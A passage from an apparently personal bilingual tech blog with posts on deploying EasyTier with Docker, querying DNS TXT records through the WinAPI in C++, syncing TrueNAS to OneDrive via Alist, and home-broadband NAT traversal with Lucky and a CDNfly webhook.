`set_level`	Dynamically sets the log and print levels.
`open`/`close`	Opens/closes the log file.

Complete code and test sample download: demo.zip

Docker下中心化部署EasyTier

Mon, 14 Apr 2025 17:04:00 GMT

EasyTier本身是个去中心化的p2p工具，任意节点都可作为转发服务器使用。但是每个节点的配置文件都得手动编写，从tailscale迁移过来时觉得有点不习惯。再加上摸索阶段经常需要修改配置文件的内容，故打算还是中心化部署EasyTier的Dashboard，统一管理设备。

项目仓库：https://github.com/easytier/easytier

官方文档并未提供单独部署config-server的方式，但是实际上也不难，服务端已经包含在下载下来的二进制文件中了。本文着重论述通过Docker Compose安装，需要二进制模式安装的可参考下方参考文章。

分析

dashboard的部署主要分为两个部分，一个是后端RESTful API，一个是前端web控制台。其中Release里的easytier-web-embed同时提供了这俩，因此只要运行此二进制文件即可实现功能。

开整

部署API和Web控制台

Docker部署，没什么好说的。

需要开放两个端口：

11211/tcp: API接口，HTTP
22020/udp: 用于客户端（easytier-core）和服务器通信

目录映射需要映射容器内/app文件夹，用作存储持久化数据。

Compose文件如下：

services:
  easytier:
    restart: always
    hostname: easytier
    volumes:
      - /opt/easytier/api:/app
    ports:
      - "127.0.0.1:11211:11211"
      - "22020:22020/udp"
    environment:
      - TZ=Asia/Shanghai
    image: easytier/easytier:latest 
    entrypoint: easytier-web-embed

此处镜像和官方文档的Docker部署客户端用的是同一个，默认入口点是easytier-core，因此运行webapi需要指定entrypoint为easytier-web-embed。
因为API接口需要HTTPS，故此处没有直接将11211端口暴露公网，而是暴露到127.0.0.1再使用反向代理实现HTTPS。

设置反向代理

我使用的是1Panel，因此直接在面板中创建一个网站，反向代理到设置的API端口即可。

注册控制台账号

完成部署后打开https://你的域名（如果是内建控制台版本则不需要加/web/），将Api Host改为https://你的域名，注意填Api Host的时候URL末尾不要带“/”，否则会出莫名其妙的问题。点击下方Register注册一个账号

再使用这个账号登录即可进入控制台。

客户端配置

将启动参数全部删除，仅保留--config-server udp://你的ip:22020/你的用户名即可。运行easytier-core，再回到控制台即可看到设备。

点击右边的设置按钮，点击Create为其创建网络，接下来的步骤就和本地GUI模式操作一样了，这里就不赘述了。保存后在network栏选择新建的网络即可加入。

因为Docker重启容器内数据会丢失，Docker下部署客户端时需要映射一个文件到容器内/usr/local/bin/et_machine_id用作保存machine id，否则每次重启后都需要重新为其配置网络。同时，给容器设置hostname可以作为设备在web控制台显示的名称。

这里贴一下我的compose：

services:
  easytier:
    command: '--config-server udp://<ip>:22020/KaguraiYoRoy'
    environment:
      - TZ=Asia/Shanghai
    hostname: truenas
    image: easytier/easytier:latest
    labels:
      com.centurylinklabs.watchtower.enable: 'true'
    mem_limit: 0m
    network_mode: host
    privileged: True
    restart: always
    volumes:
      - >-
        /mnt/systemdata/DockerData/easytier/app/et_machine_id:/usr/local/bin/et_machine_id
  watchtower:
    command: '--interval 3600 --cleanup --label-enable'
    environment:
      - TZ=Asia/Shanghai
      - WATCHTOWER_NO_STARTUP_MESSAGE
    image: containrrr/watchtower
    restart: always
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock

参考：

https://blog.mitsea.com/1a57bda595c580088006c17d6ba2a744/
https://github.com/EasyTier/EasyTier/issues/722
https://github.com/EasyTier/EasyTier/issues/577
https://github.com/EasyTier/EasyTier/pull/718

Centralized Deployment of EasyTier using Docker

Mon, 14 Apr 2025 17:04:00 GMT

EasyTier is inherently a decentralized P2P tool where any node can act as a relay server. However, each node's configuration file must be manually edited, which felt somewhat unfamiliar after migrating from Tailscale. Additionally, during the exploration phase, frequent configuration changes are often needed, leading to the decision to deploy EasyTier's Dashboard centrally for unified device management.

Project Repository: https://github.com/easytier/easytier

The official documentation doesn't explicitly provide a method for deploying the config-server separately, but it's actually quite straightforward, as the server component is already included in the downloaded binary file. This article focuses on installation via Docker Compose. For binary installation, please refer to the reference articles below.

Analysis

The dashboard deployment consists of two main parts: a backend RESTful API and a frontend web console. The easytier-web-embed binary found in the Releases provides both. Therefore, running this single binary enables the full functionality.

Let's Get Started

Deploying the API and Web Console

Deploying with Docker is straightforward.

Two ports need to be exposed:

11211/tcp: API interface, HTTP
22020/udp: For communication between clients (easytier-core) and the server.

Volume mapping is required for the container's /app folder to persist data.

The Compose file is as follows:

services:
  easytier:
    restart: always
    hostname: easytier
    volumes:
      - /opt/easytier/api:/app
    ports:
      - "127.0.0.1:11211:11211"
      - "22020:22020/udp"
    environment:
      - TZ=Asia/Shanghai
    image: easytier/easytier:latest 
    entrypoint: easytier-web-embed

The image here is the same one used for deploying the client via Docker in the official documentation. The default entrypoint is easytier-core, so running the web API requires specifying the entrypoint as easytier-web-embed. Since the API interface requires HTTPS, the 11211 port is not directly exposed to the public internet here. Instead, it's bound to 127.0.0.1 and then exposed via a reverse proxy with HTTPS.

Setting up Reverse Proxy

I use 1Panel, so I simply created a new site in the panel and set up a reverse proxy to the configured API port.

Registering a Console Account

After deployment, open https://your-domain.com (if using the built-in console version, adding /web/ is not necessary). Change the 'Api Host' to https://your-domain.com. Ensure there is no trailing "/" in the Api Host URL, otherwise, strange issues may occur. Click 'Register' below to create an account.

Then use this account to log in and access the console.

Client Configuration

Remove all startup parameters for the client, keeping only --config-server udp://your-ip:22020/your-username. Run the easytier-core binary, and the device should appear in the console.

Click the settings button on the right, then click 'Create' to create a network for it. The subsequent steps are the same as in the local GUI mode and won't be detailed here. After saving, select the newly created network from the 'network' dropdown to join it.

Because Docker container data is lost on restart, when deploying the client in Docker, a file must be mapped to the container path /usr/local/bin/et_machine_id to save the machine ID. Otherwise, the network will need to be reconfigured after each restart. Additionally, setting the container's hostname can be used as the device name displayed in the web console.

Here is my compose file for the client:

services:
  easytier:
    command: '--config-server udp://<ip>:22020/KaguraiYoRoy'
    environment:
      - TZ=Asia/Shanghai
    hostname: truenas
    image: easytier/easytier:latest
    labels:
      com.centurylinklabs.watchtower.enable: 'true'
    mem_limit: 0m
    network_mode: host
    privileged: True
    restart: always
    volumes:
      - >-
        /mnt/systemdata/DockerData/easytier/app/et_machine_id:/usr/local/bin/et_machine_id
  watchtower:
    command: '--interval 3600 --cleanup --label-enable'
    environment:
      - TZ=Asia/Shanghai
      - WATCHTOWER_NO_STARTUP_MESSAGE
    image: containrrr/watchtower
    restart: always
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock

References:

https://blog.mitsea.com/1a57bda595c580088006c17d6ba2a744/
https://github.com/EasyTier/EasyTier/issues/722
https://github.com/EasyTier/EasyTier/issues/577
https://github.com/EasyTier/EasyTier/pull/718

C++使用WINAPI查询DNS解析记录

Thu, 20 Mar 2025 09:33:00 GMT

~~这篇文章是古早时期的博客上迁移过来的（什么赛博秽土转生），~~ 如有错误欢迎指正

时间线

2022年7月5日：于旧博客上发布，可在archive.org找到
2025年3月20日：迁移至当前博客
2026年2月21日：添加头文件和静态库文件链接提醒

背景

为API配置了多条访问线路，以应对部分地区无法访问导致服务不可用的情况。开始是想到在网站里新建一个文件保存节点信息，发现行不通，联不通的地区根本无法获知其他线路；于是想到用DNS解析记录，用一个TXT解析记录来保存相应的节点数据，以备查询

实战

查询资料

一番Bing下来，发现大部分现有的文章都是使用socket来直接发送查询数据包，获取到的也都是A和CNAME类型的记录，方案不可行。最后，把目光锁定到了MSDN上的DnsQuery函数上，同时找到一篇样例：使用DnsQuery解析主机名

函数分析

从官方文档上得知，函数所需头文件为windns.h，需要包含引入库文件Ws2_32.lib和Dnsapi.lib，函数的参数如下：

DNS_STATUS DnsQuery_A(
  [in]                PCSTR       pszName,
  [in]                WORD        wType,
  [in]                DWORD       Options,
  [in, out, optional] PVOID       pExtra,
  [out, optional]     PDNS_RECORD *ppQueryResults,
  [out, optional]     PVOID       *pReserved
);

参数解释：

pszName是要查询的主机名；
wType是查询类型，如A记录，CNAME，TXT等，具体的MSDN官方给出了文档：DNS Constants
Options字面意思上理解是查询方式，我直接使用DNS_QUERY_STANDARD，具体也可以查询文档：DNS Constants
pExtra和pReserved直接给NULL就行
ppQueryResults传入查询结果的指针，类型是PDNS_RECORD，这个需要传入变量值的引用。
返回值，DNS_STATUS类型，如果查询失败会返回Winerror.h中的相应错误码

使用

明白了使用方法，那就简单了。
首先引入库：

#include <windns.h>
#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "Dnsapi.lib")

我的TXT记录域名为test.iyoroy.cn，查询部分代码如下：

PDNS_RECORD pDnsRecord;
DNS_STATUS QueryRet = DnsQuery(L"test.iyoroy.cn", DNS_TYPE_TEXT, DNS_QUERY_STANDARD, NULL, &pDnsRecord, NULL);
if (QueryRet) {
    MessageBox(GhWnd, L"DNS查询失败！\r\n将使用默认节点", L"Warning", MB_ICONERROR | MB_OK); 
}
std::wstring strQueryRes = *pDnsRecord->Data.TXT.pStringArray;//这个就是查询结果

成功实现功能

后记

TXT记录会自动过滤掉空格、换行，因此我选择记录base64编码，使用时再解码并使用stringstream拆分空格。Base64解码我借鉴了这篇文章：C++进行base64编码和解码，以下是我用宽字节重写的解码函数

展开代码

//Function:Base64解密
static const std::wstring base64_chars =
L"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
L"abcdefghijklmnopqrstuvwxyz"
L"0123456789+/";
static inline bool is_base64(wchar_t c) {
    return (isalnum(c) || (c == '+') || (c == '/'));
}

std::wstring base64_decode(std::wstring const& encoded_string) {
    int in_len = encoded_string.size();
    int i = 0;
    int j = 0;
    int in_ = 0;
    wchar_t char_array_4[4], char_array_3[3];
    std::wstring ret;

    while (in_len-- && (encoded_string[in_] != '=') && is_base64(encoded_string[in_])) {
        char_array_4[i++] = encoded_string[in_]; in_++;
        if (i == 4) {
            for (i = 0; i < 4; i++)
                char_array_4[i] = base64_chars.find(char_array_4[i]);

            char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
            char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
            char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];

            for (i = 0; (i < 3); i++)
                ret += char_array_3[i];
            i = 0;
        }
    }

    if (i) {
        for (j = i; j < 4; j++)
            char_array_4[j] = 0;

        for (j = 0; j < 4; j++)
            char_array_4[j] = base64_chars.find(char_array_4[j]);

        char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
        char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
        char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];

        for (j = 0; (j < i - 1); j++) ret += char_array_3[j];
    }

    return ret;
}

拆分：

wstringstream wDnsRec(base64_decode(*pDnsRecord->Data.TXT.pStringArray));
wstring wNodes[16];

unsigned int nNodes = 0;
while (wDnsRec >> wNodes[nNodes])
    nNodes++;

之后再选择可用节点就行

参考文章：

https://learn.microsoft.com/zh-cn/previous-versions/troubleshoot/windows/win32/use-dnsquery-resolve-host-names
https://learn.microsoft.com/en-us/windows/win32/dns/dns-constants
https://blog.csdn.net/sky04/article/details/6881649

Querying DNS Records Using WINAPI in C++

Thu, 20 Mar 2025 09:33:00 GMT

~~This article has been migrated from an old blog (a kind of cyber reincarnation)~~. Corrections are welcome if any errors are found.

Timeline

July 5, 2022: Published on the old blog, available on archive.org
March 20, 2025: Migrated to the current blog
Febuary 21, 2026: Added reminder for header and static library file links

Background

Multiple access endpoints were configured for an API to handle service unavailability in certain regions where access might be blocked. Initially, I considered creating a file within the website to store node information, but this approach proved unfeasible because regions with connectivity issues couldn't retrieve information about other endpoints. Then, the idea emerged to use DNS resolution records - specifically, a TXT record - to store the relevant node data for querying.

Implementation

Research

After searching on Bing, I found that most existing articles use sockets to directly send query packets. However, these methods typically only retrieve A and CNAME records, which wasn't suitable for my needs. Finally, I focused on the DnsQuery function mentioned in MSDN and found a sample article: Use DnsQuery to Resolve Host Names.

Function Analysis

According to the official documentation, the function requires the header windns.h and needs to link against the libraries Ws2_32.lib and Dnsapi.lib. The function parameters are as follows:

DNS_STATUS DnsQuery_A(
  [in]                PCSTR       pszName,
  [in]                WORD        wType,
  [in]                DWORD       Options,
  [in, out, optional] PVOID       pExtra,
  [out, optional]     PDNS_RECORD *ppQueryResults,
  [out, optional]     PVOID       *pReserved
);

Parameter Explanation:

pszName is the hostname to query.
wType is the query type, such as A record, CNAME, TXT, etc. Specific constants are documented by MSDN: DNS Constants.
Options literally means the query method. I used DNS_QUERY_STANDARD directly. Details can also be found in the documentation: DNS Constants.
pExtra and pReserved can simply be set to NULL.
ppQueryResultsis a pointer to the query results, of type PDNS_RECORD*. This requires passing a reference to the variable's value.
Return value: The DNS_STATUS type. If the query fails, it returns the corresponding error code from Winerror.h.

Usage

Understanding the usage method made it straightforward.
To avoid linker errors, make sure to include the following headers and libraries at the beginning:

#include <windns.h>
#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "Dnsapi.lib")

My TXT record domain is test.iyoroy.cn. The query code is as follows:

PDNS_RECORD pDnsRecord;
DNS_STATUS QueryRet = DnsQuery(L"test.iyoroy.cn", DNS_TYPE_TEXT, DNS_QUERY_STANDARD, NULL, &pDnsRecord, NULL);
if (QueryRet) {
    MessageBox(GhWnd, L"DNS query failed!\r\nWill use the default node.", L"Warning", MB_ICONERROR | MB_OK); 
}
std::wstring strQueryRes = *pDnsRecord->Data.TXT.pStringArray; // This is the query result.

Successfully implemented the functionality.

Postscript

TXT records automatically filter out spaces and line breaks. Therefore, I chose to store Base64 encoded data in the record, decode it when used, and then split it using stringstream. For Base64 decoding, I adapted the code from this article: Base64 Encoding and Decoding in C++. Below is the rewritten decoding function using wide characters:

Expand Code

//Function: Base64 Decryption
static const std::wstring base64_chars =
L"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
L"abcdefghijklmnopqrstuvwxyz"
L"0123456789+/";
static inline bool is_base64(wchar_t c) {
    return (isalnum(c) || (c == L'+') || (c == L'/'));
}

std::wstring base64_decode(std::wstring const& encoded_string) {
    int in_len = encoded_string.size();
    int i = 0;
    int j = 0;
    int in_ = 0;
    wchar_t char_array_4[4], char_array_3[3];
    std::wstring ret;

    while (in_len-- && (encoded_string[in_] != L'=') && is_base64(encoded_string[in_])) {
        char_array_4[i++] = encoded_string[in_]; in_++;
        if (i == 4) {
            for (i = 0; i < 4; i++)
                char_array_4[i] = base64_chars.find(char_array_4[i]);

            char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
            char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
            char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];

            for (i = 0; (i < 3); i++)
                ret += char_array_3[i];
            i = 0;
        }
    }

    if (i) {
        for (j = i; j < 4; j++)
            char_array_4[j] = 0;

        for (j = 0; j < 4; j++)
            char_array_4[j] = base64_chars.find(char_array_4[j]);

        char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
        char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
        char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];

        for (j = 0; (j < i - 1); j++) ret += char_array_3[j];
    }

    return ret;
}

Splitting the decoded string:

wstringstream wDnsRec(base64_decode(*pDnsRecord->Data.TXT.pStringArray));
wstring wNodes[16];

unsigned int nNodes = 0;
while (wDnsRec >> wNodes[nNodes])
    nNodes++;

After that, selecting an available node becomes possible.

Reference Articles:

https://learn.microsoft.com/en-us/previous-versions/troubleshoot/windows/win32/use-dnsquery-resolve-host-names
https://learn.microsoft.com/en-us/windows/win32/dns/dns-constants
https://blog.csdn.net/sky04/article/details/6881649

通过Alist使TrueNAS同步到OneDrive

Wed, 12 Mar 2025 16:39:00 GMT

背景

手上有个E5订阅，本来用的方案是Docker运行driveone/onedrive:edge的方式来实现同步，但是这个方案一个是这种方式没有GUI/WebUI，一个是每次同步的时候都会占用掉CPU 25%-50%的性能。考虑到TrueNAS自带的同步方案可以向WebDAV同步，因此想到能用Alist来挂载OneDrive并转换成WebDAV供TrueNAS挂载。

折腾过程

安装Alist

为Alist创建持久化存储文件夹，并根据Alist官方文档编写Docker Compose：

services:
  alist:
    environment:
      - PUID=3000
      - PGID=950
      - UMASK=022
    image: xhofe/alist:latest
    ports:
      - '8088:5244'
    restart: always
    volumes:
      - /mnt/systemdata/DockerData/alist/etc:/opt/alist/data
      - /mnt/data/Storage:/mnt/data

此处我将Alist端口开放在8088，其中映射/mnt/data/Storage是为了让Alist可以管理本地的存储；映射/mnt/systemdata/DockerData/alist/etc作为存储Alist数据的文件夹。
关于如何配置Alist上的OneDrive本文不做讨论，请查询Alist官方文档。此处我将我的OneDrive挂载在/OneDrive。

完成后进入Alist后台-用户，编辑你的用户或者创建一个新用户，勾选Webdav 读取、Webdav 管理以使得该用户可以使用WebDAV。

配置TrueNAS同步

进入TrueNAS后台-Credentials-Backup Credentials，添加一个Cloud Credential，参数如下：

Provider: WebDAV
Name: 自定义
URL: Alist地址+/dav，例如我这里填写http://127.0.0.1:8088/dav
WebDAV Service: OTHER
Username和Password: Alist账号密码

Verify Credential确认没问题之后保存。

接着进入TrueNAS后台-Data Protection，添加一个Cloud Sync Task，Provider下的Credentials选择刚刚创建的Alist的WebDAV，点击下一步。此处的参数有很多种，详解如下：

Direction: 分为PULL和PUSH，分别对应云端同步到本地和本地同步到云端
Transfer Mode:

COPY: 复制文件，若源文件夹中先前有的文件后来删除了云端的不会被删除
MOVE: Copy后删除源文件夹相关文件
SYNC: 保持源文件夹和目标文件夹同步，源文件夹删除的文件也会在目标里删除

Directory/Files: 即本地需要同步的文件或文件夹
Folder: 即云端需要同步的文件夹
Description: 注释
Schedule: Cron定时，可以使用他预设的时段或者自己编写

比如我这里选择的是PUSH，SYNC，从/mnt/data/Storage同步到/OneDrive/TrueNAS，每天0:00执行。

编辑完成后保存，即可在你设置的时段自动将本地文件上传到OneDrive。

旧方案的项目地址：

https://github.com/abraunegg/onedrive

参考文章：

https://alist.nn.ci/zh/guide/install/docker.html
https://alist.nn.ci/zh/guide/drivers/onedrive.html

Using Alist to Sync TrueNAS to OneDrive

Wed, 12 Mar 2025 16:39:00 GMT

Background

I have an E5 subscription and was originally using a solution involving running the driveone/onedrive:edge Docker container to achieve synchronization. However, this solution had drawbacks: firstly, it lacked a GUI/WebUI, and secondly, each sync operation would consume 25%-50% of CPU resources. Considering that TrueNAS's built-in sync solution can sync to WebDAV, I thought of using Alist to mount OneDrive and convert it into WebDAV for TrueNAS to mount.

Process

Installing Alist

Create a persistent storage folder for Alist and write a Docker Compose file according to the official Alist documentation:

services:
  alist:
    environment:
      - PUID=3000
      - PGID=950
      - UMASK=022
    image: xhofe/alist:latest
    ports:
      - '8088:5244'
    restart: always
    volumes:
      - /mnt/systemdata/DockerData/alist/etc:/opt/alist/data
      - /mnt/data/Storage:/mnt/data

Here, I exposed the Alist port on 8088. Mapping /mnt/data/Storage allows Alist to manage local storage; mapping /mnt/systemdata/DockerData/alist/etc serves as the folder for storing Alist data.
Configuring OneDrive on Alist is not discussed in this article; please refer to the official Alist documentation. Here, I mounted my OneDrive at /OneDrive.

After setup, go to the Alist admin panel -> Users, edit your user or create a new user, and check the Webdav Read and Webdav Manage permissions to enable WebDAV access for this user.

Configuring TrueNAS Sync

Go to TrueNAS Admin-Credentials-Backup Credentials, and add a Cloud Credential with the following parameters:

Provider: WebDAV
Name: Custom
URL: Alist address +/dav, e.g., I used http://127.0.0.1:8088/dav
WebDAV Service: OTHER
Username和Password: Alist account credentials

Verify the credential and save it if successful.

Next, go to TrueNAS Admin -> Data Protection, and add a Cloud Sync Task. Under Provider, select the WebDAV credential for Alist created earlier. The parameters are explained in detail below:

Direction: Choose PULL (cloud to local) or PUSH (local to cloud)
Transfer Mode:
1. COPY: Copy files. Files deleted from the source folder later will not be deleted from the target.
2. MOVE: Copy files and then delete them from the source folder after transfer.
3. SYNC: Keep the source and target folders synchronized. Files deleted from the source will also be deleted from the target.
Directory/Files: The local file or folder to sync.
Folder: The target folder in the cloud storage.
Description: Notes.
Schedule: Set a schedule using Cron syntax. You can use predefined intervals or write your own.

For example, I selected PUSH, SYNC, syncing from /mnt/data/Storage to /OneDrive/TrueNAS, scheduled to run daily at 00:00.

After editing, save the task. It will automatically upload local files to OneDrive at the scheduled time.

Old Solution Project Address:

https://github.com/abraunegg/onedrive

Reference Articles:

https://alist.nn.ci/zh/guide/install/docker.html
https://alist.nn.ci/zh/guide/drivers/onedrive.html

使用家宽无公网IP+CDNfly实现建站

Sun, 09 Mar 2025 06:33:00 GMT

前言

~~众所周知~~家宽建站一般需要有公网IP，但实际上没有公网IP时的某些情况通过特殊手段也可以实现在运营商的出口IP上公开一个端口用于外部对内连接的http端口，即NAT穿透（和FRP、ngrok、花生壳这样的内网穿透不一样，这种穿透不需要服务端）

前置条件

下载NatTypeTester，检测本机的NAT类型。关于NAT类型是什么请自行查阅资料。

请确保你的网络环境满足如下条件：

RFC3489下的NAT类型需为Full Cone
RFC5780下的TCP的映射行为需要是EndpointIndependent

如果出现UDPBlocked请更换服务器

提升NAT类型的办法

减少路由层数，光猫拨号的尽量直接将设备接在光猫下，多层路由的尽量将设备直接接在最顶上那层路由下
开启路由器的UPnP
设置DMZ主机为服务器IP

开始

使用了Lucky作为NAT穿透的工具，通过Docker Compose部署在TrueNAS上，TrueNAS本地的9080开放了HTTP端口。

部署Web服务器不在本文论述的范围内。

安装Lucky

按照官网介绍，编写DockerCompose：

services:
  lucky:
    image: gdy666/lucky
    network_mode: host
    restart: always
    volumes:
      - /mnt/systemdata/DockerData/lucky/luckyconf:/goodluck

请修改持久化存储路径为你自己的路径。
其中network_mode需要为host，当然不是host也可以部署，但是不在本文讨论范围内。

安装完成后打开http://[YourIP]:16601，默认账号666默认密码666。登录后按照要求修改安全设置。

配置穿透

打开Lucky页面左侧的STUN内网穿透，并创建穿透规则。
穿透本地端口填写一任意端口（注意不要和本机的服务冲突），目标地址和端口填写内网下的Web服务所在IP和端口。

完成上述配置后以下几种穿透方式请任选一种

NAT-PMP方式

开启路由器UPnP功能，打开STUN穿透的NAT-PMP开关，NAT-PMP网关地址填入路由器地址即可。

DMZ主机方式

在路由器DMZ主机设置将Lucky所在服务器IP设置为DMZ主机，然后关闭STUN穿透的UPnP、NAT-PMP选项。

非Docker安装+UPnP

开启路由器UPnP功能，打开STUN穿透的UPnP开关，UPnP网关IP填写路由器IP，UPnP客户端本地IP填写Lucky所在主机IP，其他留空。

Docker安装+UPnP

需要先在非Docker的环境下运行一次Lucky以获取UPnP接口地址。比如我在电脑（Windows）上安装Lucky并创建一条测试隧道，填写内容和上文非Docker安装相同，目标地址和目标端口可随意填写。开启穿透后在日志里能看到类似如下内容：

UPNP===>Control URL: http://192.168.3.1:5351/ctl/IPCon

（这里的URL是我的小米路由器AX3600的UPnP管理地址，不同路由器不一样）

复制这里的Control URL，再在Docker内的Lucky中将Control URL填写到UPnP控制接口地址一项中并开启穿透即可。

如果不出问题应该能看到运营商的公网出口所分配的地址和端口，若能够从外面访问或者itdog测速能绿就代表穿透成功了。

配置CDNfly的WebHook

因为这种方式获得的公网IP和端口都是动态的，因此需要类似于DDNS的服务来固定访问方式，可以使用CloudFlare Workers进行重定向，也可以使用CDN动态修改回源IP和端口。我使用的是后面那种方式。

我的CDN使用的是cdnfly管理系统，查阅cdnfly的官方文档可以找到API请求方式。

在编辑STUN内网穿透规则时下面打开Webhook并勾选仅在地址和上一次不同时触发Webhook，接口地址填入cdn网站管理API地址：https://[your-cdn-domain]/v1/sites，请求方法PUT；请求头标填入api-key和api-secret（可以在CDNfly后台看到）：

api-key: Your API Key
api-secret: Your API Secret

请求体用json格式按照cdnfly官方文档的请求方式构建payload（请将id字段改成你的网站id，若存在多个网站则按照如下格式多复制几个并修改对应id即可）：

[
    {
        "id": 114,
        "backend_http_port": #{port},
        "backend": [
            {
                "addr": "#{ip}",
                "weight": 1,
                "state": "up"
            }
        ]
    },
    {
        "id": 514,
        "backend_http_port": #{port},
        "backend": [
            {
                "addr": "#{ip}",
                "weight": 1,
                "state": "up"
            }
        ]
    }
]

其中，#{ip}和#{port}是Lucky提供的参数，标识获取到的公网IP和端口。

保存，不出意外的话会自动将CDN对应网站的回源地址和端口改成运营商公网IP和端口。

安全问题

我本人建议使用HTTPS穿透，毕竟HTTP是明文传输，安全性还是不能保证。如果使用HTTPS，需要将上文CDN API调用的Payload中backend_http_port改成backend_https_port并在CDN处改为使用HTTPS回源。

参考文章：

https://doc.cdnfly.cn/wangzhanguanli-v1-sites.html
https://lucky666.cn/docs/intro
https://www.bilibili.com/opus/971100369193009187
https://github.com/gdy666/lucky

Using Home Broadband without Public IP + CDNfly to Host a Website

Sun, 09 Mar 2025 06:33:00 GMT

Introduction

~~As is well known~~, hosting a website with home broadband usually requires a public IP address. However, in certain cases without a public IP, it is possible to expose an HTTP port on the carrier's exit IP for external connections through special methods, i.e., NAT penetration (this is different from FRP, ngrok, or Oray-like intranet penetration, as it does not require a server).

Prerequisites

Download NatTypeTester to check your NAT type. Please refer to relevant materials for details on NAT types.

Ensure your network environment meets the following conditions:

Under RFC3489, the NAT type must be Full Cone.
Under RFC5780, the TCP mapping behavior must be EndpointIndependent.

If UDPBlocked appears, change the server.

Methods to Improve NAT Type

Reduce the number of router layers. If using modem dial-up, connect the device directly under the modem. For multi-layer routing, connect the device directly under the top router.
Enable UPnP on the router.
Set the DMZ host to the server IP.

Getting Started

We use Lucky as the NAT penetration tool, deployed on TrueNAS via Docker Compose. TrueNAS locally has port 9080 open for HTTP.

Deploying a web server is not covered in this article.

Installing Lucky

Follow the official guide and write a Docker Compose file:

services:
  lucky:
    image: gdy666/lucky
    network_mode: host
    restart: always
    volumes:
      - /mnt/systemdata/DockerData/lucky/luckyconf:/goodluck

Modify the persistent storage path to your own. Note: network_mode must be host. It can be deployed without host, but that is not discussed here.

After installation, open http://[YourIP]:16601. The default username is 666 and password is 666. After logging in, modify security settings as required.

Configuring Penetration

Open STUN Intranet Penetration on the left side of the Lucky page and create a penetration rule.
Fill in the local port with any port (ensure it does not conflict with local services), and the target address and port with the IP and port of the web service on the intranet.

After completing the above configuration, choose one of the following penetration methods:

NAT-PMP Method

Enable the router's UPnP function, turn on the NAT-PMP switch in STUN penetration, and fill in the router address as the NAT-PMP gateway address.

DMZ Host Method

Set the server IP where Lucky is installed as the DMZ host in the router's DMZ settings, then turn off the UPnP and NAT-PMP options in STUN penetration.

Non-Docker Installation + UPnP

Enable the router's UPnP function, turn on the UPnP switch in STUN penetration, fill in the router IP as the UPnP gateway IP, and fill in the Lucky host IP as the UPnP client local IP, leaving others blank.

Docker Installation + UPnP

First, run Lucky in a non-Docker environment to obtain the UPnP interface address. For example, install Lucky on a computer (Windows) and create a test tunnel with the same content as the non-Docker installation. The target address and port can be filled arbitrarily. After enabling penetration, you might see content like this in the log:

UPNP===>Control URL: http://192.168.3.1:5351/ctl/IPCon

(Here, the URL is my Xiaomi router AX3600's UPnP management address; different routers may vary.)

Copy the Control URL, then fill it into the UPnP Control Interface Address in the Docker Lucky and enable penetration.

If no issues arise, you should see the address and port assigned by the carrier's public exit IP. If you can access it from outside or if an itdog test shows green, the penetration is successful.

Configuring CDNfly WebHook

Since the public IP and port obtained this way are dynamic, a service similar to DDNS is needed to fix the access method. You can use CloudFlare Workers for redirection or use a CDN to dynamically modify the origin IP and port. I use the latter.

My CDN uses the cdnfly management system. Refer to the cdnfly official documentation for API request methods.

When editing the STUN intranet penetration rule, open Webhook below and check Only trigger Webhook when the address is different from the last time. Fill in the API address: https://[your-cdn-domain]/v1/sites, request method PUT; request headers include api-key and api-secret (can be found in the CDNfly backend):

api-key: Your API Key
api-secret: Your API Secret

The request body uses JSON format to construct the payload according to the cdnfly official documentation (change the id field to your website id; if multiple websites, copy and modify accordingly):

[
    {
        "id": 114,
        "backend_http_port": #{port},
        "backend": [
            {
                "addr": "#{ip}",
                "weight": 1,
                "state": "up"
            }
        ]
    },
    {
        "id": 514,
        "backend_http_port": #{port},
        "backend": [
            {
                "addr": "#{ip}",
                "weight": 1,
                "state": "up"
            }
        ]
    }
]

Where #{ip} and #{port} are parameters provided by Lucky, representing the obtained public IP and port.

Save, and if no issues, the CDN's corresponding website's origin address and port will be automatically changed to the carrier's public IP and port.

Security Considerations

I recommend using HTTPS penetration because HTTP is plain text and less secure. If using HTTPS, change backend_http_port to backend_https_port in the CDN API call payload and switch to HTTPS origin in the CDN.

Reference Articles:

https://doc.cdnfly.cn/wangzhanguanli-v1-sites.html
https://lucky666.cn/docs/intro
https://www.bilibili.com/opus/971100369193009187
https://github.com/gdy666/lucky

在TrueNAS上使用Docker安装1Panel

Fri, 07 Mar 2025 05:18:00 GMT

背景

家里TrueNAS性能剩余，想着部署个web服务。想要装个面板减少点工作量，又考虑到虚拟机性能折损和zfs cache对内存的要求比较大以及NAS本身性能也不好，便打算使用docker部署。再加上1Panel本身也是以docker为介质，二者共同控制TrueNAS宿主机的docker daemon，约等于直接将网站部署到TrueNAS本地并且也便于管理。

分析

:::warning 本文默认TrueNAS可以访问dockerhub并且已经配置好了docker daemon :::

环境信息

Storage Pool

存在两个存储池:

/mnt/data: 1 x MIRROR | 2 wide | 2.73 TiB | HDD
/mnt/systemdata: 1 x DISK | 1 wide | 223.57 GiB | SSD

其中docker数据存储在2号存储池中。

Datasets

存在三个数据集:

Storage: 位于data存储池，存放冷数据
DockerData: 位于systemdata存储池，存放容器的持久化存储文件
KaguraiYoRoy: 位于systemdata，用户home文件夹

安装1Panel

使用了moelin/1panel:latest镜像部署，此步骤很多部分都可以参考镜像作者写的README。项目地址： ::github{repo="okxlin/docker-1panel"}

